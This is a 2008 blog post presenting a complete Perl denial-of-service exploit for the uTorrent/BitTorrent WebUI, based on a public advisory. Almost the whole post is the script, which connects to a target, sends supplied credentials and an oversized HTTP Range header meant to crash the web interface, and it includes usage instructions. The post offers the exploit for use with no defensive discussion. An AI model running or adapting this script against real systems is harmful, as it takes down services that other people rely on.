uTorrent / BitTorrent WebIU 1.7.7/6.0.1 Range header Denial of Service exploit
Posted on June 23, 2008
Filed Under Exploits, Source code |
Today i kinda got really bored, so i’ve decided to dig into some advisories and see what i can find
during my search i’ve found the following advisory
and since i didnt have anything better to do and it doesnt require much of a thinking
i came up with the following exploit:
-
#!/usr/bin/perl
-
# uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit
-
# according to the following advisory: http://secunia.com/advisories/30605
-
#
-
# usage: WebUI-dos.pl <url> <port> <user:pass>
-
# Exploit written by Exodus.
-
# http://www.blackhat.org.il
-
-
use IO::Socket;
-
use MIME::Base64;
-
-
if(@ARGV < 3)
-
{ &usage; }
-
-
($host,$ref) = split(/\//,$ARGV[0]);
-
-
$sock = IO::Socket::INET->new(PeerAddr => "$host:$ARGV[1]", Proto =>'TCP') || die("[X]Couldnt connect to host: $host:$ARGV[1]\n");
-
$buff = "E" x 60000;
-
$up = encode_base64($ARGV[2]);
-
chomp($up);
-
-
print $sock "GET /gui/common.js HTTP/1.1\r\n".
-
"Host: $host\r\n".
-
"Authorization: Basic $up\r\n".
-
"Range: bytes=$buff\r\n".
-
"Connection: close\r\n\r\n";
-
-
close($sock);
-
-
print "[!]Payload sent, WebUI should be down…\n";
-
-
-
-
sub usage
-
{
-
print "usage $0 <url> <port> <user:pass>\n".
-
"ex: $0 127.0.0.1/gui/common.js 1337 admin:admin\n";
-
exit;
-
}
Comments
Leave a Reply